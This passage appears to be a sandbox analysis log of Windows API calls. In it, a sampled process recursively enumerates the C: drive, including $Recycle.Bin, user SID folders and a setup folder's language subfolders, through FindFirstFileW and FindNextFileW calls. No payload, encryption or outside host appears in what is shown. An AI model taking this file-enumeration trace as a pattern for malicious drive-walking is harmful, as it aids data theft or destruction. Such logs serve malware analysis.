cFileName="SafeOS", cAlternateFileName="")) returned 0 [0087.940] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0087.940] GetProcessHeap () returned 0xc00000 [0087.940] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcae8b0 | out: hHeap=0xc00000) returned 1 [0087.941] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2fdf818 | out: lpFindFileData=0x2fdf818*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0087.941] GetProcessHeap () returned 0xc00000 [0087.941] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcae8b0 [0087.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0087.942] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0087.942] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0087.942] GetProcessHeap () returned 0xc00000 [0087.942] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcbf8c0 [0087.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0087.942] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.943] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.943] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.943] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0087.943] GetProcessHeap () returned 0xc00000 [0087.943] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcbf8c0 | out: hHeap=0xc00000) returned 1 [0087.944] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.944] GetProcessHeap () returned 0xc00000 [0087.944] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcbf8c0 [0087.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0087.945] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.945] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.945] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.945] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0087.945] GetProcessHeap () returned 0xc00000 [0087.945] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcbf8c0 | out: hHeap=0xc00000) returned 1 [0087.946] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0087.946] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0087.946] GetProcessHeap () returned 0xc00000 [0087.947] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcae8b0 | out: hHeap=0xc00000) returned 1 [0087.947] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2fdf818 | out: lpFindFileData=0x2fdf818*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0088.333] FindNextFileW (in: hFindFile=0xc19ab8, lpFindFileData=0x2fdf818 | out: lpFindFileData=0x2fdf818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0088.333] GetProcessHeap () returned 0xc00000 [0088.333] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3740058 [0088.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.666] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0088.666] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1025", cAlternateFileName="")) returned 1 [0088.666] GetProcessHeap () returned 0xc00000 [0088.666] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.667] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.667] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.667] GetProcessHeap () returned 0xc00000 [0088.668] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.668] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1028", cAlternateFileName="")) returned 1 [0088.668] GetProcessHeap () returned 0xc00000 [0088.668] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.668] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0088.668] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.668] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.668] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.668] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.668] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.668] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0088.669] GetProcessHeap () returned 0xc00000 [0088.669] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.669] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1029", cAlternateFileName="")) returned 1 [0088.669] GetProcessHeap () returned 0xc00000 [0088.669] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.669] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.669] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.669] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.669] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.669] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.670] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.670] GetProcessHeap () returned 0xc00000 [0088.670] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.670] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0088.670] GetProcessHeap () returned 0xc00000 [0088.670] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.670] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: 